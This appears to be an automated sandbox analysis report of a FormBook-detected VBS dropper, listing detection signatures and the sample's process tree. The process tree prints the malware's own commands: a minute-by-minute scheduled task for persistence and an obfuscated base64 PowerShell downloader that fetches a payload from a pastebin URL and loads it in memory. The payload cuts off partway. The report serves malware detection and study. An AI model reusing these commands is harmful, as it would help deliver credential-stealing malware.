Windows
Analysis Report
PURCHASE OKK.vbs
Overview
General Information
Detection
FormBook
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Sigma detected: Paste sharing url in reverse order
Suricata IDS alerts for network traffic
Yara detected FormBook
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Encrypted powershell cmdline option found
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Potential dropper URLs found in powershell memory
Queues an APC in another process (thread injection)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7588 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PURCH ASE OKK.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) schtasks.exe (PID: 7664 cmdline:
"C:\Window s\System32 \schtasks. exe" /dele te /tn tas k name /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) conhost.exe (PID: 7672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) schtasks.exe (PID: 7720 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /tn tas k name /tr "C:\Users \user\AppD ata\Local\ Temp\GLPd. vbs" /sc m inute /mo minutos MD5: 76CD6626DD8834BD4A42E6A565104DC2) conhost.exe (PID: 7728 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7780 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $IuJUJJZz = 'WwBT?Hk ?cwB0?GU?b Q?u?E4?ZQB 0?C4?UwBl? HI?dgBp?GM ?ZQBQ?G8?a QBu?HQ?TQB h?G4?YQBn? GU?cgBd?Do ?OgBT?GU?Y wB1?HI?aQB 0?Hk?U?By? G8?d?Bv?GM ?bwBs?C??P Q?g?Fs?UwB 5?HM?d?Bl? G0?LgBO?GU ?d??u?FM?Z QBj?HU?cgB p?HQ?eQBQ? HI?bwB0?G8 ?YwBv?Gw?V ?B5?H??ZQB d?Do?OgBU? Gw?cw?x?DI ?Ow?k?Ho?R gBL?GE?QQ? g?D0?I??n? Gg?d?B0?H? ?cw?6?C8?L wBw?GE?cwB 0?GU?YgBp? G4?LgBj?G8 ?bQ?v?HI?Y QB3?C8?bgB h?EE?ZwBk? GM?V?BH?Cc ?I??7?CQ?S QBl?H??RwB R?C??PQ?g? Cg?I?Bb?FM ?eQBz?HQ?Z QBt?C4?SQB P?C4?U?Bh? HQ?a?Bd?Do ?OgBH?GU?d ?BU?GU?bQB w?F??YQB0? Gg?K??p?C? ?Kw?g?Cc?Z ?Bs?Gw?M?? x?C4?d?B4? HQ?Jw?p?Ds ?J?B3?GU?Y gBD?Gw?aQB l?G4?d??g? D0?I?BO?GU ?dw?t?E8?Y gBq?GU?YwB 0?C??UwB5? HM?d?Bl?G0 ?LgBO?GU?d ??u?Fc?ZQB i?EM?b?Bp? GU?bgB0?C? ?Ow?k?FI?V gBV?Fg?dg? g?D0?I??k? Hc?ZQBi?EM ?b?Bp?GU?b gB0?C4?R?B v?Hc?bgBs? G8?YQBk?FM ?d?By?Gk?b gBn?Cg?I?? k?Ho?RgBL? GE?QQ?g?Ck ?I??7?CQ?U gBW?FU?W?B 2?C??f??g? E8?dQB0?C0 ?RgBp?Gw?Z Q?g?C0?RgB p?Gw?ZQBQ? GE?d?Bo?C? ?J?BJ?GU?c ?BH?FE?I?? t?EU?bgBj? G8?Z?Bp?G4 ?Zw?g?Cc?V QBU?EY?O?? n?C??LQBm? G8?cgBj?GU ?I??7?CQ?U wBU?GY?RwB s?C??PQ?g? Cg?I?Bb?FM ?eQBz?HQ?Z QBt?C4?SQB P?C4?U?Bh? HQ?a?Bd?Do ?OgBH?GU?d ?BU?GU?bQB w?F??YQB0? Gg?K??p?C? ?Kw?g?Cc?Z ?Bs?Gw?M?? y?C4?d?B4? HQ?Jw?p?C? ?Ow?k?F??a ?By?Gw?Tg? g?D0?I?BO? GU?dw?t?E8 ?YgBq?GU?Y wB0?C??UwB 5?HM?d?Bl? G0?LgBO?GU ?d??u?Fc?Z QBi?EM?b?B p?GU?bgB0? C??Ow?k?F? ?a?By?Gw?T g?u?EU?bgB j?G8?Z?Bp? G4?Zw?g?D0 ?I?Bb?FM?e QBz?HQ?ZQB t?C4?V?Bl? Hg?d??u?EU ?bgBj?G8?Z ?Bp?G4?ZwB d?Do?OgBV? FQ?Rg?4?C? ?Ow?k?EQ?S ?B6?FU?QQ? g?C??PQ?g? Cg?I?BH?GU ?d??t?EM?b wBu?HQ?ZQB u?HQ?I??t? F??YQB0?Gg ?I??k?Ek?Z QBw?Ec?UQ? g?Ck?I??7? CQ?dQBU?Gw ?S?B6?C??P Q?g?CQ?U?B o?HI?b?BO? C4?R?Bv?Hc ?bgBs?G8?Y QBk?FM?d?B y?Gk?bgBn? Cg?I??k?EQ ?S?B6?FU?Q Q?g?Ck?I?? 7?CQ?dQBU? Gw?S?B6?C? ?f??g?E8?d QB0?C0?RgB p?Gw?ZQ?g? C0?RgBp?Gw ?ZQBQ?GE?d ?Bo?C??J?B T?FQ?ZgBH? Gw?I??t?GY ?bwBy?GM?Z Q?g?Ds?J?B N?E8?R?BS? Gc?I??9?C? ?I??n?CQ?c gB5?GE?ZQB H?C??PQ?g? Cg?RwBl?HQ ?LQBD?G8?b gB0?GU?bgB 0?C??LQBQ? GE?d?Bo?C? ?Jw?n?Cc?I ??r?C??J?B T?FQ?ZgBH? Gw?I??r?C? ?Jw?n?Cc?I ??t?EU?bgB j?G8?Z?Bp? G4?Zw?g?FU ?V?BG?Dg?K Q?7?Cc?I?? 7?CQ?TQBP? EQ?UgBn?C? ?Kw?9?C??J wBb?EI?eQB 0?GU?WwBd? F0?I??k?EY ?eQBm?GQ?e g?g?D0?I?B b?HM?eQBz? HQ?ZQBt?C4 ?QwBv?G4?d gBl?HI?d?B d?Do?OgBG? HI?bwBt?EI ?YQBz?GU?N g?0?FM?d?B y?Gk?bgBn? Cg?I??k?HI ?eQBh?GU?R w?u?HI?ZQB w?Gw?YQBj? GU?K??n?Cc ?J??k?CQ?J ??n?Cc?L?? n?Cc?QQ?n? Cc?KQ?g?Ck ?I??7?Cc?I ??7?CQ?TQB P?EQ?UgBn? C??Kw?9?C? ?JwBb?FM?e QBz?HQ?ZQB t?C4?QQBw? H??R?Bv?G0 ?YQBp?G4?X Q?6?Cc?I?? r?C??Jw?6? EM?dQBy?HI ?ZQBu?HQ?R ?Bv?G0?YQB p?G4?LgBM? G8?YQBk?Cg ?I??k?EY?e QBm?GQ?eg? g?Ck?Lg?n? C??Ow?k?E0 ?TwBE?FI?Z w?g?Cs?PQ? g?Cc?RwBl? HQ?V?B5?H? ?ZQ?o?C??J w?n?E0?aQB z?GU?cgBp?